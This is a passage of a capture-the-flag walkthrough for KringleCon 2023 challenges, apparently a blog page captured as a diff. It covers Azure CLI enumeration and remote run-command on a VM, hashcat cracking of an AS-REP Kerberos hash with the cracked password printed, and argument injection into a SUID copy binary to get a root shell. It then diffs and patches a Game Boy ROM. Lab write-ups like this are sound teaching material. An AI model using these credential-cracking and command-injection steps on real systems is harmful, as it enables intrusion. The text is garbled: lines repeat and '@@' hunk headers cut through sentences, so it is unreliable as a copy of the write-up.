</span></span></code></pre></div><blockquote><p>Excellent! Now get a list of resource groups in Azure.
For more information:
<a href="https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest">https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>az group list
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>[
<a href="https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest">https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>az group list
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>[
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;location&#34;</span>: <span style=color:#e6db74>&#34;eastus&#34;</span>,
@@ -186,7 +186,7 @@ For more information:
</span></span></code></pre></div><blockquote><p>Ok, now use one of the resource groups to get a list of function apps. For more information:
<a href="https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest">https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest</a>
Note: Some of the information returned from this command relates to other cloud assets used by Santa and his elves.</p></blockquote><pre tabindex=0><code>az functionapp list --resource-group northpole-rg1
</code></pre><p>The output of this command is gigantic which is why I chose to clip some unnecessary fields in the resulting JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>[
</code></pre><p>The output of this command is gigantic which is why I chose to clip some unnecessary fields in the resulting JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>[
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;appServicePlanId&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;availabilityState&#34;</span>: <span style=color:#e6db74>&#34;Normal&#34;</span>,
@@ -271,10 +271,10 @@ Note: Some of the information returned from this command relates to other cloud
</span></span><span style=display:flex><span>]
</span></span></code></pre></div><blockquote><p>Find a way to list the only VM in one of the resource groups you have access to.
For more information:
<a href="https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest">https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>az vm list --resource-group northpole-rg1 | less
<a href="https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest">https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>az vm list --resource-group northpole-rg1 | less
</span></span></code></pre></div><pre tabindex=0><code>The client &#39;f17559a4-d8a2-4661-ba0f-c04f8cf2926d&#39; with object id &#39;8deacb33-214d-4d94-9ab4-d27768410f17&#39; does not have authorization to perform action &#39;Microsoft.Compute/virtualMachines/read&#39; over scope &#39;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines&#39; or the scope is invalid. If access was recently granted, please refresh your credentials.
</code></pre><p>Oh, okay. Let&rsquo;s try the other resource group.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>az vm list --resource-group northpole-rg2 | less
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>[
</code></pre><p>Oh, okay. Let&rsquo;s try the other resource group.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>az vm list --resource-group northpole-rg2 | less
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>[
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;location&#34;</span>: <span style=color:#e6db74>&#34;eastus&#34;</span>,
@@ -308,8 +308,8 @@ For more information:
</span></span><span style=display:flex><span>]
</span></span></code></pre></div><blockquote><p>Find a way to invoke a run-command against the only Virtual Machine (VM) so you can RunShellScript and get a directory listing to reveal a file on the Azure VM.
For more information:
<a href="https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke">https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts <span style=color:#e6db74>&#39;ls&#39;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
<a href="https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke">https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke</a></p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts <span style=color:#e6db74>&#39;ls&#39;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;code&#34;</span>: <span style=color:#e6db74>&#34;ComponentStatus/StdOut/succeeded&#34;</span>,
@@ -330,10 +330,10 @@ For more information:
</span></span></code></pre></div><p>That finishes the Azure 101 tutorial. Onward with our mighty pirate ship! (Yeah you can actually sail an in-game ship.)</p><h1 id=island-of-misfit-toys-scaredly-kite-heights>Island of Misfit Toys: Scaredly Kite Heights</h1><h2 id=hashcat>Hashcat</h2><blockquote><p>In a realm of bytes and digital cheer,<br>The festive season brings a challenge near.<br>Santa&rsquo;s code has twists that may enthrall,<br>It&rsquo;s up to you to decode them all.</p></blockquote><blockquote><p>Hidden deep in the snow is a kerberos token,<br>Its type and form, in whispers, spoken.<br>From reindeers&rsquo; leaps to the elfish toast,<br>Might the secret be in an ASREP roast?</p></blockquote><blockquote><p><code>hashcat</code>, your reindeer, so spry and true,<br>Will leap through hashes, bringing answers to you.<br>But heed this advice to temper your pace,<br><code>-w 1 -u 1 --kernel-accel 1 --kernel-loops 1</code>, just in case.</p></blockquote><blockquote><p>For within this quest, speed isn&rsquo;t the key,<br>Patience and thought will set the answers free.<br>So include these flags, let your command be slow,<br>And watch as the right solutions begin to show.</p></blockquote><blockquote><p>For hints on the hash, when you feel quite adrift,<br>This festive link, your spirits, will lift:<br><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">https://hashcat.net/wiki/doku.php?id=example_hashes</a></p></blockquote><blockquote><p>And when in doubt of <code>hashcat</code>&rsquo;s might,<br>The CLI docs will guide you right:<br><a href="https://hashcat.net/wiki/doku.php?id=hashcat">https://hashcat.net/wiki/doku.php?id=hashcat</a></p></blockquote><blockquote><p>Once you&rsquo;ve cracked it, with joy and glee so raw,<br>Run /bin/runtoanswer, without a flaw.<br>Submit the password for Alabaster Snowball,<br>Only then can you claim the prize, the best of all.</p></blockquote><blockquote><p>So light up your terminal, with commands so grand,<br>Crack the code, with <code>hashcat</code> in hand!<br>Merry Cracking to each, by the pixelated moon&rsquo;s light,<br>May your hashes be merry, and your codes so right!</p></blockquote><blockquote><ul><li>Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*</li></ul></blockquote><p>If we list the files in the current directory, we see it contains the files <code>hash.txt</code>, <code>password_list.txt</code> and a <code>HELP</code> file.
Let&rsquo;s take a look at the hash itself.</p><pre tabindex=0><code>cat hash.txt
</code></pre><p>The hash begins with <code>$krb5asrep$23$</code> which aligns with the earlier hint about ASREP roasting.
According to the documentation, the hashcat mode for this hash type is 18200. Let&rsquo;s start cracking.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>hashcat -m18200 hash.txt password_list.txt -w <span style=color:#ae81ff>1</span> -u <span style=color:#ae81ff>1</span> --kernel-accel <span style=color:#ae81ff>1</span> --kernel-loops <span style=color:#ae81ff>1</span> --force
According to the documentation, the hashcat mode for this hash type is 18200. Let&rsquo;s start cracking.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>hashcat -m18200 hash.txt password_list.txt -w <span style=color:#ae81ff>1</span> -u <span style=color:#ae81ff>1</span> --kernel-accel <span style=color:#ae81ff>1</span> --kernel-loops <span style=color:#ae81ff>1</span> --force
</span></span></code></pre></div><p>After running the hash through hash cat and passing the provided kernel accelerator
parameters, we get the following password:</p><pre tabindex=0><code>$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
</code></pre><p>We then send it to the runtoanswer binary as proof of work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>/bin/runtoanswer <span style=color:#e6db74>&#34;IluvC4ndyC4nes!&#34;</span>
</code></pre><p>We then send it to the runtoanswer binary as proof of work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>/bin/runtoanswer <span style=color:#e6db74>&#34;IluvC4ndyC4nes!&#34;</span>
</span></span></code></pre></div><pre tabindex=0><code>Your answer: IluvC4ndyC4nes!
Checking....
@@ -356,7 +356,7 @@ Merry Christmas to all, and to all, a root feat!
* Find a method to escalate privileges inside this terminal and then run the binary in /root *
</code></pre><p>Let&rsquo;s find all the SUID or setuid binaries. These binaries, when executed by any user, will get run as the root user.
We will use the <code>find</code> command to search from the filesystem root (<code>/</code>) checking for files whose user permissions
are SUID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>elf@de7b48583aca:~$ find / -perm -u<span style=color:#f92672>=</span>s -type f 2&gt;/dev/null
are SUID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>elf@de7b48583aca:~$ find / -perm -u<span style=color:#f92672>=</span>s -type f 2&gt;/dev/null
</span></span></code></pre></div><pre tabindex=0><code>/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
@@ -371,7 +371,7 @@ Usage: simplecopy &lt;source&gt; &lt;destination&gt;
</code></pre><p>From the program&rsquo;s name and usage we can assume that it copies files from the source to destination.
Let&rsquo;s take a look at the strings in the file to make sure.</p><p>Among a host of other strings, we can notice two interesting strings.</p><p>The first is</p><pre tabindex=0><code>cp %s %s
</code></pre><p>This is a C format string which is very likely used format the the source and destination command line arguments
into a command.</p><p>The second interesting string is <code>system</code> which the <code>libc</code> function used to run the constructed command string.</p><p>To verify this, let&rsquo;s pass <code>--help</code> as one of the command line arguments explicitly as a string. We will use a comment for the second argument.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>elf@82aefbbef77a:~$ simplecopy <span style=color:#e6db74>&#39;--version&#39;</span> <span style=color:#e6db74>&#39;#comment&#39;</span>
into a command.</p><p>The second interesting string is <code>system</code> which the <code>libc</code> function used to run the constructed command string.</p><p>To verify this, let&rsquo;s pass <code>--help</code> as one of the command line arguments explicitly as a string. We will use a comment for the second argument.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>elf@82aefbbef77a:~$ simplecopy <span style=color:#e6db74>&#39;--version&#39;</span> <span style=color:#e6db74>&#39;#comment&#39;</span>
</span></span></code></pre></div><pre tabindex=0><code>cp (GNU coreutils) 8.30
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;https://gnu.org/licenses/gpl.html&gt;.
@@ -391,15 +391,15 @@ There is NO WARRANTY, to the extent permitted by law.
Written by Torbjorn Granlund, David MacKenzie, and Jim Meyering.
root@82aefbbef77a:~#
</code></pre><p>Let&rsquo;s go to the root user&rsquo;s home directory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cd /root
</span></span></code></pre></div><p>Now let&rsquo;s list the files here.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ls -la
</code></pre><p>Let&rsquo;s go to the root user&rsquo;s home directory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cd /root
</span></span></code></pre></div><p>Now let&rsquo;s list the files here.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ls -la
</span></span></code></pre></div><pre tabindex=0><code>total 620
drwx------ 1 root root 4096 Dec 2 22:17 .
drwxr-xr-x 1 root root 4096 Dec 12 09:49 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rws------ 1 root root 612560 Nov 9 21:29 runmetoanswer
</code></pre><p>Okay! Time to run the binary and get the answer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>./runmetoanswer
</code></pre><p>Okay! Time to run the binary and get the answer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>./runmetoanswer
</span></span></code></pre></div><pre tabindex=0><code>Who delivers Christmas presents?
&gt; santa
@@ -410,12 +410,12 @@ Your answer is correct!
</code></pre><h1 id=island-of-misfit-toys-tarnished-trove>Island of Misfit Toys: Tarnished Trove</h1><p>Upon arriving here and talking to Dusty Giftwrap, we receive a gameboy cartridge detector.
Walking around and listening for the detector&rsquo;s beep we will find &ldquo;Elf the Dwarfs, Gloriously, Unfinished, Adventure! - Vol1&rdquo;</p><h2 id=elf-the-dwarfs-gloriously-unfinished-adventure---vol1>Elf the Dwarfs, Gloriously, Unfinished, Adventure! - Vol1</h2><p>We are given a webassemby gameboy emulator where we have to move around blocks to fix a QR code.
To know the destination of each block, we can press B (r) to shoot a music note at the block and
an animating motif appears nearby to mark its destination.</p><p><img src=../../kringlecon/2023/elf-qr-00.avif alt="The player elf&rsquo;s dialogue after fixing the QR code"></p><p>Once all seven of the blocks are placed in the correct position, we are given a complete QR code to scan.</p><p><img src=../../kringlecon/2023/elf-qr-01.avif alt="QR Code after finishing volume 1"></p><p>We save the QR code as an image and scan it with the <code>zbarimg</code> command from the <code>zbartools</code> suite.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>zbarimg elf_qr.png
an animating motif appears nearby to mark its destination.</p><p><img src=../../kringlecon/2023/elf-qr-00.avif alt="The player elf&rsquo;s dialogue after fixing the QR code"></p><p>Once all seven of the blocks are placed in the correct position, we are given a complete QR code to scan.</p><p><img src=../../kringlecon/2023/elf-qr-01.avif alt="QR Code after finishing volume 1"></p><p>We save the QR code as an image and scan it with the <code>zbarimg</code> command from the <code>zbartools</code> suite.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>zbarimg elf_qr.png
</span></span></code></pre></div><pre tabindex=0><code>QR-Code:http://8bitelf.com
scanned 1 barcode symbols from 1 images in 0.28 seconds
</code></pre><p>The QR code links to <a href=https://8bitelf.com>https://8bitelf.com</a> which has the text</p><pre tabindex=0><code>flag:santaconfusedgivingplanetsqrcode
</code></pre><p>We can submit the flag in our objectives to mark this complete.</p><h2 id=elf-the-dwarfs-gloriously-unfinished-adventure---vol2>Elf the Dwarfs, Gloriously, Unfinished, Adventure! - Vol2</h2><p><img src=../../kringlecon/2023/elf-the-dwarf-vol2-00-tinsel-upatree.avif alt="Tinsel Upatree tells us: &ldquo;Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!&rdquo;"></p><p>Hint:</p><blockquote><ol><li>This feels the same, but different!</li><li>If it feels like you are going crazy, you probably are! Or maybe, just maybe, you&rsquo;ve not yet figured out where the hidden ROM is hiding.</li><li>I think I may need to get a DIFFerent perspective.</li><li>I wonder if someone can give me a few pointers to swap.</li></ol></blockquote><p>To focus on the game, let&rsquo;s open the iframe in a new tab.</p><p>There are two versions of the game, where the player is either above or below a treeline with an invisible wall in the middle of the map.
We want the player to be able to teleport to the other side of the invisible wall.</p><p>In the devtools Sources tab, we can look at the script being loaded under <code>js/script.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// Load a ROM.
We want the player to be able to teleport to the other side of the invisible wall.</p><p>In the devtools Sources tab, we can look at the script being loaded under <code>js/script.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// Load a ROM.
</span></span></span><span style=display:flex><span>(<span style=color:#66d9ef>async</span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>go</span>() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>=</span> Math.<span style=color:#a6e22e>round</span>(Math.<span style=color:#a6e22e>random</span>()).<span style=color:#a6e22e>toString</span>()
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>filename</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>ROM_FILENAME</span> <span style=color:#f92672>+</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34;.gb&#34;</span>;
@@ -426,9 +426,9 @@ We want the player to be able to teleport to the other side of the invisible wal
</span></span><span style=display:flex><span> <span style=color:#a6e22e>Emulator</span>.<span style=color:#a6e22e>start</span>(<span style=color:#66d9ef>await</span> <span style=color:#a6e22e>binjgbPromise</span>, <span style=color:#a6e22e>romBuffer</span>, <span style=color:#a6e22e>extRam</span>);
</span></span><span style=display:flex><span> <span style=color:#a6e22e>emulator</span>.<span style=color:#a6e22e>setBuiltinPalette</span>(<span style=color:#a6e22e>vm</span>.<span style=color:#a6e22e>palIdx</span>);
</span></span><span style=display:flex><span>})();
</span></span></code></pre></div><p>The above excerpt of the script shows how it randomly loads one of two versions of the game. Math.random generates a number from 0 to 1 and Math.round rounds it to either.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>const ROM_FILENAME <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;rom/game&#34;</span>;
</span></span></code></pre></div><p>With the rom base path defined as <code>rom/game</code>, the two versions are at <code>rom/game0.gb</code> and <code>rom/game1.gb</code> respectively. Let&rsquo;s download them.</p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-01-game0.avif alt></p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-01-game1.avif alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game<span style=color:#f92672>{</span>0,1<span style=color:#f92672>}</span>.gb
</span></span></code></pre></div><p>Since these are binary files, we will use the hexdiff command for a preliminary look at the differences.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>hexdiff game0.gb game1.gb
</span></span></code></pre></div><p>The above excerpt of the script shows how it randomly loads one of two versions of the game. Math.random generates a number from 0 to 1 and Math.round rounds it to either.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>const ROM_FILENAME <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;rom/game&#34;</span>;
</span></span></code></pre></div><p>With the rom base path defined as <code>rom/game</code>, the two versions are at <code>rom/game0.gb</code> and <code>rom/game1.gb</code> respectively. Let&rsquo;s download them.</p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-01-game0.avif alt></p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-01-game1.avif alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game<span style=color:#f92672>{</span>0,1<span style=color:#f92672>}</span>.gb
</span></span></code></pre></div><p>Since these are binary files, we will use the hexdiff command for a preliminary look at the differences.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>hexdiff game0.gb game1.gb
</span></span></code></pre></div><pre tabindex=0><code class=language-hex data-lang=hex> offset 0 1 2 3 4 5 6 7 01234567 offset 0 1 2 3 4 5 6 7 01234567
0x0000000000 0000c33800ffffff ...8.... 0x0000000000 0000c33800ffffff ...8....
...
@@ -451,7 +451,7 @@ We want the player to be able to teleport to the other side of the invisible wal
0x0000018510 fffd140b80fffe35 .......5 0x0000018510 fffd140400fffe35 .......5
0x0000018518 fffc3200fffc2703 ..2...&#39;. 0x0000018518 fffc3200fffc2703 ..2...&#39;.
...
</code></pre><p>For a better understanding, we write a python script to tell where the files differ and what the different bytes are.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>with</span> open(<span style=color:#e6db74>&#39;game0.gb&#39;</span>, <span style=color:#e6db74>&#39;rb&#39;</span>) <span style=color:#66d9ef>as</span> handle:
</code></pre><p>For a better understanding, we write a python script to tell where the files differ and what the different bytes are.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>with</span> open(<span style=color:#e6db74>&#39;game0.gb&#39;</span>, <span style=color:#e6db74>&#39;rb&#39;</span>) <span style=color:#66d9ef>as</span> handle:
</span></span><span style=display:flex><span> g0 <span style=color:#f92672>=</span> handle<span style=color:#f92672>.</span>read()
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>with</span> open(<span style=color:#e6db74>&#39;game1.gb&#39;</span>, <span style=color:#e6db74>&#39;rb&#39;</span>) <span style=color:#66d9ef>as</span> handle:
@@ -475,7 +475,7 @@ While in one version of the game the initial position pointers might point to th
has them pointing to a different location.</p><p>A quick web search explains that the pointer size for a GameBoy is 16 bits or 2 bytes. Armed with this knowledge,
we can make an infer that the contiguous 2 byte sequences at <code>0x1850e - 0x1850f</code> and <code>0x18513 - 0x18514</code> must be
the initial position pointers for the second stage of the game.</p><p>We will patch the first ROM <code>game0.gb</code> with the position pointers of the second ROM <code>game1.gb</code>.
The following python code patches the game and saves it as <code>patched.gb</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> struct
The following python code patches the game and saves it as <code>patched.gb</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>import</span> struct
</span></span><span style=display:flex><span><span style=color:#66d9ef>with</span> open(<span style=color:#e6db74>&#39;game0.gb&#39;</span>, <span style=color:#e6db74>&#39;rb&#39;</span>) <span style=color:#66d9ef>as</span> handle:
</span></span><span style=display:flex><span> g0 <span style=color:#f92672>=</span> handle<span style=color:#f92672>.</span>read()
</span></span><span style=display:flex><span>
@@ -492,39 +492,39 @@ In this version of the game, our initial position is set next to a portal.</p><p
leads us to a room with ChatNPT and a radio. The radio, upon interacting, plays the following morse code:</p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-03.avif alt></p><pre tabindex=0><code>--. .-.. ----- .-. -.--
